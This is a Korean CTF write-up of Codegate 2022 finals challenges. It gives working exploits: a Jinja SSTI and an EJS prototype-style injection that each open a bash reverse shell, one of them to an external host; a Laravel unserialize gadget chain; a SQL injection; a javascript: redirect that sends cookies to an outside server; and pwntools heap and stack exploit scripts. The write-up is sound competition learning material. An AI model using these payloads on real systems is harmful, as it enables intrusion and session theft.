ash3r & dmawhwhd
Codeagate 2022 Final writeup 본문
Web
1. Calc.
from flask import Flask, render_template, render_template_string, request
import re
app = Flask (__name__)
@app.route('/')
def calc():
expression = request.args.get('expression')
filters = ["'","\"","_","[","]",",","`","sys","os","flag","%","class","config","self","\\"]
request.args = None
try:
for filter in filters:
if filter in expression:
raise Exception("filterd")
result = render_template_string(f"{{{{{expression}}}}}")
except Exception as e:
result = ""
return render_template('index.html', result=result)
if __name__ == "__main__":
app.run(host='0.0.0.0', port='5000', debug=False)
filtering이 많이 걸려있는 ssti 문제입니다. 하지만 ., |, (, ), 모두 필터링이 안 걸려있기에 쉽게 우회할 수 있습니다.
https://flask.palletsprojects.com/en/2.2.x/api/#flask.Request
flask의 class에는 request라는 class가 있습니다. 이를 통해서 필터링을 우회하여 풀이할 수 있습니다.
소스를 보면 request.args = None이라는 코드가 있기에 args말고 headers를 사용하면 됩니다.
GET /?expression=request|attr(request.headers.a)|attr(request.headers.b)|attr(request.headers.c)(request.headers.d)|attr(request.headers.e)(request.headers.f)(request.headers.g)|attr(request.headers.h)(request.headers.i)|attr(request.headers.j)() HTTP/1.1
Host: 3.36.56.33
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3.36.56.33/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6,zh;q=0.5
a: application
b: __globals__
c: __getitem__
d: __builtins__
e: __getitem__
f: __import__
g: os
h: popen
i: bash -c 'bash -i >& /dev/tcp/server.sqli.kr/9999 0>&1'
j: read
Connection: close
flag: codegate2022{jinja_template_vs_iginja_template_l0l}
2. Larachain
문제 description을 보자마자 laravel의 unserialize 취약점이 있었다는 것이 기억났습니다. 검색해보니 문제와 같은 코드의 실습 블로그가 있었고 이를 이용하여 풀이했습니다.
https://hackyboiz.github.io/2022/05/22/syru/cve-2022-30778/
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue
{
//
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct()
{
}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = "cat ../flag.txt";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($a));
}
?>
flag: codegate2022{living_point:unserialize_1s_d4nger0us}
3. Welcome
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const app = express();
const IP = '0.0.0.0'
const PORT = 9999
app.use(session({secret: 'secrt',saveUninitialized: true,resave: true}));
app.use(express.static('public'))
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.set('view engine', 'ejs')
var sess;
app.get('/login',(req,res) => {
res.render('login', {error: ""});
});
app.post('/login',(req,res) => {
data = req.body.nickname;
sess = req.session;
sess.grant = "guest"
if(data == null){
data = {nickname:"guest"};
} else if(typeof(data) == "string"){
data = {nickname:data};
}
var reg = /^[a-z]+$/i;
if(reg.test(data.nickname)){
Object.entries(data).forEach(([key, value]) => {
sess[key] = value;
});
res.redirect('/');
} else{
res.render('login', { error: "Nickname should not contain any special characters" })
}
});
app.get('/', (req,res) => {
sess = req.session;
if(!sess.nickname){
res.redirect('/login');
}else if(sess.grant == "admin"){
res.render('admin', sess)
}else{
res.render('home')
}
});
app.get('/logout',(req,res) => {
req.session.destroy((err) => {
if(err) {
return console.log(err);
}
res.redirect('/login');
});
});
app.listen(PORT, IP);
{
"name": "app",
"version": "1.0.0",
"description": "",
"author": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"ejs": "^3.1.6",
"express-session": "^1.17.3",
"express": "^4.18.1"
}
}
ejs 버전이 취약한 버전인 것을 알 수 있었습니다. cve-2022-29078을 이용하여 rce를 발생시키면 된다고 생각했습니다.
app.get('/', (req,res) => {
sess = req.session;
if(!sess.nickname){
res.redirect('/login');
}else if(sess.grant == "admin"){
res.render('admin', sess)
}else{
res.render('home')
}
});
rce를 발생시키려면 sess.grant가 admin이어야 하고 res.render('admin', sess) 이고 sess에
settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash -c 'bash -i >%26 /dev/tcp/127.0.0.1/1337 0>%261'");s
다음과 같은 data가 들어있으면 rce가 발생하게 됩니다.
이를 만족시키기 위해서는 session에 원하는 구조로 data를 넣어줘야합니다. urlencoded, json 모두 받기에 nickname에 object를 입력할 수 있습니다. object를 입력하게 되면
if(data == null){
data = {nickname:"guest"};
} else if(typeof(data) == "string"){
data = {nickname:data};
}
다음의 필터링을 우회할 수 있습니다.
var reg = /^[a-z]+$/i;
if(reg.test(data.nickname)){
Object.entries(data).forEach(([key, value]) => {
sess[key] = value;
});
res.redirect('/');
} else{
res.render('login', { error: "Nickname should not contain any special characters" })
}
정규식에서는 위의 필터링을 통해서 data에 object를 넣어주는 데 이를 object로 넣어주면서 우회해줬기에 nickname에는 정규식에 어긋나지 않는 string을 넣어주면 됩니다. 그렇다면 object.entries(data).forEach(([key, value]) => {sess[key] = value;});를 실행해줍니다. 이는 sess에 data object를 복사해주는 역할을 합니다.
다음과 같은 payload를 통해서 최종적으로 rce 발생시킬 수 있습니다.
nickname[nickname]=asdf&nickname[grant]=admin&nickname[settings][view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync("/bin/bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/localhost/8888%200>%261'");s
4. Album
서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ
album과 writer를 검색하여 원하는 그림을 출력해주는 사이트였습니다.
제가 생각하는 쿼리는
select * from board where {input1} like '%{input2}%' 으로 작동하는 것 같았습니다.
input2 에서는 sql injection이 발생하지 않았습니다.
그래서 input1 에서 1#을 넣었을 때 작동했기에 sql injection이 발생하는 것을 알 수 있었습니다.
union이 막혀있었는데 이는 대문자로 우회할 수 있었습니다.
information_schema를 이용하여 column과 table 정보를 획득하여
input1 => 1 union select 1,1,1,flag,1 from flag#을 통하여 flag를 획득했습니다.
flag: codegate2022{AB424FF5FAB00106CF856E3B9A88849A}
5. JeanValJean
이 문제도 서버가 닫혀서 제가 기억나는 대로 설명하겠습니다.. ㅠ.ㅠ
report하는 부분이 있었습니다. description에 /login?url={input}이라 적혀있어 open redirect인 것을 바로 알 수 있었습니다.
이는 로그인하는 부분에서 발생하는데 로그인을 성공하면 url로 이동하는 구조였습니다.
그래서 javascript scheme을 사용했는데 잘 작동하기에 이를 이용하여 풀이하였습니다.
하지만 서버에서는 javascript를 필터링하고 있기에 Javascript로 우회하여 풀이하였습니다.
Javascript:location.replace('http://server/?c='+document.cookie)를 통하여 쿠키를 가져오고 이를 이용하여 admin이 작성한 글을 읽으면 플래그를 획득할 수 있습니다.
여담: /login?url={input} 이라고 적혀있어서 /login부터 넣어줘야 되는 줄 알았습니다.... 이거 때문에 2시간 날렸어요 ㅠㅠㅠㅠㅁㄷㄴㄹㅁ
pwn
1. simple bof
custom canary가 있습니다. 하지만 flag를 출력해주는 조건문 뒤에 check해주기에 그냥 bof로 변수 덮어주면 됩니다.
from pwn import *
p = remote("43.201.97.189",5333)
p.recvuntil("? ")
p.sendline("A"*(0x70-4)+p64(0xDEADEACE))
p.interactive()
2. chunkychunk
basic한 heap menu challenge입니다. add chunk를 통해 0, 1 chunk를 size를 작게 생성해주고 edit을 통해 0번째 chunk 사이즈를 늘리는데 MAX SIZE만 check해주기에 heap overflow가 발생합니다. 이를 통해 heap pointer를 덮으면 원하는 gift 함수로 뛸 수 있습니다. gift 함수의 주소는 출력해주기에 이를 이용하면 풀이할 수 있습니다.
from pwn import *
#p = remote("3.35.20.92",5333)
p = process("./chunkyChunk")
e = ELF("./chunkyChunk")
l = e.libc
p.recvuntil(b" : ")
gift = int(p.recvuntil(b"\n")[:-1],16)
def add_note(note_num, note_size, note_data):
p.sendlineafter(b" : ", b"1")
p.sendlineafter(b" : ", str(note_num).encode())
p.sendlineafter(b" : ", str(note_size).encode())
p.sendafter(b" : ", note_data)
def del_note(note_num):
p.sendlineafter(b" : ", "2".encode())
p.sendlineafter(b" : ", str(note_num).encode())
def show_note():
p.sendlineafter(b" : ", "3".encode())
def edit_note(note_num, note_size, note_data):
p.sendlineafter(b" : ", "4".encode())
p.sendlineafter(b" : ", str(note_num).encode())
p.sendlineafter(b" : ", str(note_size).encode())
p.sendafter(b" : ", note_data)
print(hex(gift))
#p.sendlineafter(b" : ", "1".encode())
add_note(0, 8, ("A"*8).encode())
add_note(1, 8, ("B"*8).encode())
edit_note(0, 80, (p64(gift)*10))
pause()
show_note()
p.interactive()
3. findYourKey
input를 입력받고 input의 길이만큼 스택에 있는 key와 비교를 하여 결과를 return해줍니다. 하지만 key길이가 key의 길이보다 더 많이 입력받을 수 있을 수 있기에 key 뒤에 있는 스택의 정보도 leak할 수 있습니다. 또한 e를 입력하면 bof 함수로 넘어가서 bof를 터트릴 수 있기에 leak한 canary와 스택 주소를 통하여 pie base를 구하여 gift함수로 뛰면 풀이할 수 있습니다.
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import struct
#p = remote("3.34.135.116", 5333)
p = process("./findYourKey")
e = ELF("./findYourKey")
l = e.libc
# l = ELF("./libc.so.6")
#context.log_level = 'debug'
gift = 0x12A9
leak = 0
for i in range(1,0xff - 6):
for j in range(0, 256):
p.sendlineafter(b"> ", b"y")
p.sendlineafter(b"> ", str(i).encode())
p.sendlineafter(b"> ", long_to_bytes((leak << 8) + j))
res = p.recvuntil(b"\n")
if b"key is correct!" == res[:-1]:
print("success")
leak = (leak << 8) + j
print("leak : ", long_to_bytes(leak))
break
addr = []
while True:
addr.append(hex(u64((leak & 0xffffffffffffffff).to_bytes(8,byteorder='big'))))
leak = leak >> 64
if leak == 0:
break
pie_base = (int(addr[10],16)) - 15720
canary = int(addr[21],16)
print(addr)
print(hex(pie_base))
print(hex(canary))
payload = bytearray(b'')
payload += b"A" * 24
payload += p64(canary)
payload += b'A' * 8
payload += p64(pie_base + 0x000000000000101a)
payload += p64(pie_base + gift)
p.recvuntil(b"> ")
p.sendline(b"e")
pause()
p.sendline(payload)
p.interactive()
Misc
1. commnad
코드를 보면 특정 ip와 socket 통신을 하는 것을 알 수 있는데 다 필요없고 방향키를 입력받고 출력된 방향키가 입력되었을 때 다음 command로 넘어가는 형식인데 틀렸을 때 초기화를 해주지 않아 방향키와 스페이스바 연타하고 이를 녹화하여서 플래그가 잠깐 출력되고 꺼질 때를 캡쳐하여 풀이했습니다. (//ㅅ//)
2. 문제 이름 기억이 안남..(대충 eval로 사칙연산 결과 return해주면 됨.)
from pwn import *
p = remote("13.124.246.88",8000)
for i in range(20):
p.recvuntil(str(i)+"\n")
prob = p.recvuntil(" =")[:-2]
res = eval(prob)
p.send(res)
Crypto
1. emoji
emoji로 긴 암호문?을 줍니다. 저는 ", ,, ?와 같은 특수기호가 있을 뿐만 아니라 emoji하나가 알파벳 하나라고 생각했습니다. 그래서 반복문을 통해 이모지를 알파벳으로 대칭해주었습니다. 결과값이 너무 치환 암호처럼 생겨서 풀어주는 https://quipqiup.com/에 넣고 돌렸더니 플래그를 얻을 수 있었습니다.
import string
lists = '''😂😎😢😮 😝🙄😂😎 🐺 😑😉😆😮 😑😵😮😊😮 😰😉😠😮😍 😉😎 🐺 😢😮😊😑🐺😉😎 😠😉😰😰🐺😐😮 🐺 😰😉😑😑😰😮 😢😂😝😎😑😊🥺 😐😉😊😰, 😑😵😮 🙄😊😮😑😑😉😮🤣😑 😢😊😮🐺😑😝😊😮 😱😵😂 😱🐺🤣 😮😠😮😊 🤣😮😮😎. 😵😮😊 😆😂😑😵😮😊 😱🐺🤣 😮🤔😢😮🤣🤣😉😠😮😰🥺 😃😂😎😍 😂😃 😵😮😊; 🐺😎😍 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😍😂😑😮😍 😂😎 😵😮😊 🤣😑😉😰😰 😆😂😊😮. 😑😵😉🤣 😐😂😂😍 😱😂😆🐺😎 😵🐺😍 🐺 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 😆🐺😍😮 😃😂😊 😵😮😊. 😉😑 🤣😝😉😑😮😍 😑😵😮 😐😉😊😰 🤣😂 😮🤔😑😊😮😆😮😰🥺 😱😮😰😰 😑😵🐺😑 😮😠😮😊🥺🙃😂😍🥺 😢🐺😰😰😮😍 😵😮😊 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍.
😂😎😮 😍🐺🥺 😵😮😊 😆😂😑😵😮😊, 😵🐺😠😉😎😐 😆🐺😍😮 🤣😂😆😮 😢🐺🤪😮🤣, 🤣🐺😉😍 😑😂 😵😮😊, "😐😂, 😆🥺 😍😮🐺😊, 🐺😎😍 🤣😮😮 😵😂😱 🥺😂😝😊 😐😊🐺😎😍😆😂😑😵😮😊 😉🤣 😍😂😉😎😐, 😃😂😊 😉 😵😮🐺😊 🤣😵😮 😵🐺🤣 🙃😮😮😎 😠😮😊🥺 😉😰😰. 😑🐺🤪😮 😵😮😊 🐺 😢🐺🤪😮, 🐺😎😍 😑😵😉🤣 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣😮😑 😂😝😑 😉😆😆😮😍😉🐺😑😮😰🥺 😑😂 😐😂 😑😂 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😰😉😠😮😍 😉😎 🐺😎😂😑😵😮😊 😠😉😰😰🐺😐😮.
🐺🤣 🤣😵😮 😱🐺🤣 😐😂😉😎😐 😑😵😊😂😝😐😵 😑😵😮 😱😂😂😍, 🤣😵😮 😆😮😑 😱😉😑😵 🐺 😱😂😰😃, 😱😵😂 😵🐺😍 🐺 😠😮😊🥺 😐😊😮🐺😑 😆😉😎😍 😑😂 😮🐺😑 😵😮😊 😝🙄, 🙃😝😑 😵😮 😍🐺😊😮😍 😎😂😑, 🙃😮😢🐺😝🤣😮 😂😃 🤣😂😆😮 😱😂😂😍😢😝😑😑😮😊🤣 😱😂😊🤪😉😎😐 😎😮🐺😊🙃🥺 😉😎 😑😵😮 😃😂😊😮🤣😑. 😵😮 🐺🤣🤪😮😍 😵😮😊 😱😵😮😊😮 🤣😵😮 😱🐺🤣 😐😂😉😎😐. 😑😵😮 🙄😂😂😊 😢😵😉😰😍, 😱😵😂 😍😉😍 😎😂😑 🤪😎😂😱 😑😵🐺😑 😉😑 😱🐺🤣 😍🐺😎😐😮😊😂😝🤣 😑😂 🤣😑🐺🥺 🐺😎😍 😑🐺😰🤪 😑😂 🐺 😱😂😰😃, 🤣🐺😉😍 😑😂 😵😉😆, "😉 🐺😆 😐😂😉😎😐 😑😂 🤣😮😮 😆🥺 😐😊🐺😎😍😆😂😑😵😮😊 🐺😎😍 😢🐺😊😊🥺 😵😮😊 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😃😊😂😆 😆🥺 😆😂😑😵😮😊."
"😍😂😮🤣 🤣😵😮 😰😉😠😮 😃🐺😊 😂😃😃?" 🤣🐺😉😍 😑😵😮 😱😂😰😃.
"😂😵 😉 🤣🐺🥺," 🐺😎🤣😱😮😊😮😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍; "😉😑 😉🤣 🙃😮🥺😂😎😍 😑😵🐺😑 😆😉😰😰 🥺😂😝 🤣😮😮 😑😵😮😊😮, 🐺😑 😑😵😮 😃😉😊🤣😑 😵😂😝🤣😮 😉😎 😑😵😮 😠😉😰😰🐺😐😮."
"😱😮😰😰," 🤣🐺😉😍 😑😵😮 😱😂😰😃, "🐺😎😍 😉'😰😰 😐😂 🐺😎😍 🤣😮😮 😵😮😊 😑😂😂. 😉'😰😰 😐😂 😑😵😉🤣 😱🐺🥺 🐺😎😍 😐😂 🥺😂😝 😑😵🐺😑, 🐺😎😍 😱😮 🤣😵🐺😰😰 🤣😮😮 😱😵😂 😱😉😰😰 🙃😮 😑😵😮😊😮 😃😉😊🤣😑."
😑😵😮 😱😂😰😃 😊🐺😎 🐺🤣 😃🐺🤣😑 🐺🤣 😵😮 😢😂😝😰😍, 😑🐺🤪😉😎😐 😑😵😮 🤣😵😂😊😑😮🤣😑 🙄🐺😑😵, 🐺😎😍 😑😵😮 😰😉😑😑😰😮 😐😉😊😰 😑😂😂🤪 🐺 😊😂😝😎😍🐺🙃😂😝😑 😱🐺🥺, 😮😎😑😮😊😑🐺😉😎😉😎😐 😵😮😊🤣😮😰😃 🙃🥺 😐🐺😑😵😮😊😉😎😐 😎😝😑🤣, 😊😝😎😎😉😎😐 🐺😃😑😮😊 🙃😝😑😑😮😊😃😰😉😮🤣, 🐺😎😍 😐🐺😑😵😮😊😉😎😐 🙃😂😝😒😝😮😑🤣 😂😃 😰😉😑😑😰😮 😃😰😂😱😮😊🤣. 😉😑 😱🐺🤣 😎😂😑 😰😂😎😐 🙃😮😃😂😊😮 😑😵😮 😱😂😰😃 🐺😊😊😉😠😮😍 🐺😑 😑😵😮 😂😰😍 😱😂😆🐺😎'🤣 😵😂😝🤣😮. 😵😮 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
"🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍, 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍," 😊😮🙄😰😉😮😍 😑😵😮 😱😂😰😃, 😢😂😝😎😑😮😊😃😮😉😑😉😎😐 😵😮😊 😠😂😉😢😮; "😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 🤣😮😎😑 🥺😂😝 🙃🥺 😆😂😑😵😮😊."
😑😵😮 😐😂😂😍 😐😊🐺😎😍😆😂😑😵😮😊, 😱😵😂 😱🐺🤣 😉😎 🙃😮😍, 🙃😮😢🐺😝🤣😮 🤣😵😮 😱🐺🤣 🤣😂😆😮😱😵🐺😑 😉😰😰, 😢😊😉😮😍 😂😝😑, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😑😵😮 😱😂😰😃 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐 😎, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍, 🐺😎😍 😑😵😮😎 😵😮 😉😆😆😮😍😉🐺😑😮😰🥺 😃😮😰😰 😝🙄😂😎 😑😵😮 😐😂😂😍 😱😂😆🐺😎 🐺😎😍 🐺😑😮 😵😮😊 😝🙄 😉😎 🐺 😆😂😆😮😎😑, 😃😂😊 😉😑 🙃😮😮😎 😆😂😊😮 😑😵🐺😎 😑😵😊😮😮 😍🐺🥺🤣 🤣😉😎😢😮 😵😮 😵🐺😍 😮🐺😑😮😎. 😵😮 😑😵😮😎 🤣😵😝😑 😑😵😮 😍😂😂😊 🐺😎😍 😐😂😑 😉😎😑😂 😑😵😮 😐😊🐺😎😍😆😂😑😵😮😊'🤣 🙃😮😍, 😮🤔🙄😮😢😑😉😎😐 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😢🐺😆😮 🤣😂😆😮 😑😉😆😮 🐺😃😑😮😊😱🐺😊😍🤣 🐺😎😍 🤪😎😂😢🤪😮😍 🐺😑 😑😵😮 😍😂😂😊: 😑🐺🙄, 😑🐺🙄.
"😱😵😂'🤣 😑😵😮😊😮?"
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😵😮🐺😊😉😎😐 😑😵😮 🙃😉😐 😠😂😉😢😮 😂😃 😑😵😮 😱😂😰😃, 😱🐺🤣 🐺😑 😃😉😊🤣😑 🐺😃😊🐺😉😍; 🙃😝😑 🙃😮😰😉😮😠😉😎😐 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😵🐺😍 🐺 😢😂😰😍 🐺😎😍 😱🐺🤣 😵😂🐺😊🤣😮, 🐺😎🤣😱😮😊😮😍, "😉😑 😉🤣 🥺😂😝😊 😐😊🐺😎😍😢😵😉😰😍 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 😱😵😂 😵🐺🤣 🙃😊😂😝😐😵😑 🥺😂😝 🐺 😢🐺🤪😮 🐺😎😍 🐺 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😆😂😑😵😮😊 🤣😮😎😍🤣 🥺😂😝."
😑😵😮 😱😂😰😃 😢😊😉😮😍 😂😝😑 😑😂 😵😮😊, 🤣😂😃😑😮😎😉😎😐 😵😉🤣 😠😂😉😢😮 🐺🤣 😆😝😢😵 🐺🤣 😵😮 😢😂😝😰😍, "🙄😝😰😰 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😰🐺😑😢😵 😱😉😰😰 😐😂 😝🙄."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🙄😝😰😰😮😍 😑😵😮 🤣😑😊😉😎😐, 🐺😎😍 😑😵😮 😍😂😂😊 😂🙄😮😎😮😍.
😑😵😮 😱😂😰😃, 🤣😮😮😉😎😐 😵😮😊 😢😂😆😮 😉😎, 🤣🐺😉😍 😑😂 😵😮😊, 😵😉😍😉😎😐 😵😉😆🤣😮😰😃 😝😎😍😮😊 😑😵😮 🙃😮😍😢😰😂😑😵😮🤣, "🙄😝😑 😑😵😮 😢🐺🤪😮 🐺😎😍 😑😵😮 😰😉😑😑😰😮 🙄😂😑 😂😃 🙃😝😑😑😮😊 😝🙄😂😎 😑😵😮 🤣😑😂😂😰, 🐺😎😍 😢😂😆😮 🤣😉😑 😂😎 😑😵😮 🙃😮😍 😱😉😑😵 😆😮."
😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍 🤣🐺😑 😂😎 😑😵😮 🙃😮😍. 🤣😵😮 😱🐺🤣 😐😊😮🐺😑😰🥺 🐺😆🐺😴😮😍 😑😂 🤣😮😮 😵😂😱 😵😮😊 😐😊🐺😎😍😆😂😑😵😮😊 😰😂😂🤪😮😍 😉😎 😵😮😊 😎😉😐😵😑😢😰😂😑😵😮🤣, 🐺😎😍 🤣🐺😉😍 😑😂 😵😮😊, "😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 🐺😊😆🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😝😐 🥺😂😝 😱😉😑😵, 😆🥺 😍😮🐺😊."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😰😮😐🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😊😝😎 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🐺😊🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😵😮🐺😊 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😮🥺😮🤣 🥺😂😝 😵🐺😠😮!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 🤣😮😮 😱😉😑😵, 😆🥺 😢😵😉😰😍."
"😐😊🐺😎😍😆😂😑😵😮😊, 😱😵🐺😑 🙃😉😐 😑😮😮😑😵 🥺😂😝 😵🐺😠😮 😐😂😑!"
"🐺😰😰 😑😵😮 🙃😮😑😑😮😊 😑😂 😮🐺😑 🥺😂😝 😝🙄 😱😉😑😵."
🐺😎😍, 🤣🐺🥺😉😎😐 😑😵😮🤣😮 😱😂😊😍🤣, 😑😵😉🤣 😱😉😢🤪😮😍 😱😂😰😃 😃😮😰😰 😝🙄😂😎 😰😉😑😑😰😮 😊😮😍 😊😉😍😉😎😐 😵😂😂😍, 🐺😎😍 🐺😑😮 😵😮😊 🐺😰😰 😝🙄.
😑😵😮😊😮😃😂😊😮 😃😰🐺😐 😉🤣 😮😵😍😐😵🤪🤣😆🤣🤣😆😊😮😂😍😵🤪😒😎😃😊😍😆🤣😑😂😊🐺🤪😍🤔😵. 🤣😂 🥺😂😝 🤣😝🙃😆😉😑 😉😑 😉😎 😑😵😮 😃😂😊😆🐺😑 🐺😢😢😂😊😍😉😎😐 😑😂 😑😵😮 🙄😊😂🙃😰😮😆 😍😮🤣😢😊😉🙄😑😉😂😎.'''
tbl = []
def get_tbl():
for i in lists:
try:
a = tbl.index(hex(ord(i)))
except:
#print(tbl)
if ord(i) > 256:
tbl.append(hex(ord(i)))
get_tbl()
#tbl = ['0x1f602', '0x1f60e', '0x1f622', '0x1f62e', '0x1f61d', '0x1f644', '0x1f43a', '0x1f611', '0x1f609', '0x1f606', '0x1f635', '0x1f60a', '0x1f630', '0x1f620', '0x1f60d', '0x1f610', '0x1f97a', '0x1f923', '0x1f631', '0x1f914', '0x1f603', '0x1f643', '0x1f92a', '0x1f612', '0x1f634']
#tbl = []
alp = string.ascii_lowercase
res = ""
for i in lists:
for j in range(len(tbl)):
tmp = ord(i)
if tmp < 256:
res += chr(tmp)
break
if hex(tmp) == tbl[j]:
res += alp[j]
print(res)
2. RSA
n 하나를 e 2개로 암호화 했을 때 egcd를 통해서 복호화 할 수 있다는 것을 알 수 있었습니다. 이를 통해 코드를 짜면 풀이할 수 있습니다.
import gmpy2
from Crypto.Util.number import long_to_bytes
data = {'n': 530608211275513140366213138576723793063425255614923916339818296370965195790170509377272816425755124935117505883803711912448089542645382900611950157918984019577954045101766666641238782097999510625875880969945471060158125437911539276388013871362986018325401113892681619320340704004127463091857351199317633994571579952934196595940153186110524883992930224361870545884119798418793773606942649578976020070310101589489301325141130049757844603712484465320142622014398855573242395860195081413402454165102037618128916290867959544566706382208694897560692739599385906736064223144970858620904311410004277627671783, 'e1': 65537, 'e2': 11731,
'c1': 36438785448993034686319725528189192854463151662047410787227922472649376988517578574739948014360868712767703814105348128280340128939238535870532598929770331230858903476818025917271405175287372062625882551287048889017803584186380153095109131743562028934469362853792211973654740907312518795378145540926223924479122691199553850552127169415722835585231774507859734000109872494993889601024066569604368136614240776022505481719558228444943141026367964278184575717257240100749291352017125500119659786838130694989077975539301274525538419859900000660538238458822546354653698743617030591065087263349564991665849 , 'c2': 454045540371169334472351754484136780129066219703489904165202842522515664378538610447624560284169053268730975791349131234222808083488597486803727304405099404081868654631796931174509511691927858633690661209034072047272183265894764752839929020695260728240428345390829399265245232898345572532352424374555423507654005941229433225611956943133363918291490204626186412647847220114809916647068100876659371702917383788830054608420673772563553420797641488934352031754512664158636253136857155982303012426019741495093518469924228444208995681120899429608361648412150864338383128649019067200581109180307642009088751}
n = data['n']
e1 = data['e1']
e2 = data['e2']
message1 = data['c1']
message2 = data['c2']
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
message1 = gmpy2.invert(message1, n)
if t < 0:
t = -t
message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print(plain)
print(long_to_bytes(plain).decode('utf-8'))
후기
리버싱과 포너블을 공부했다면 더 좋은 성적을 얻을 수 있었을 것이라고 생각합니다.... 생각보다 문제가 어렵지 않아서 재밌게 풀었던 것 같습니다. 또한, 예상치 못한 수상이라 만족스러운 수상이었던 것 같습니다. 내년에는 대학부로 가서 더 좋은 성적을 낼 수 있도록 더 열심히 해야겠습니다.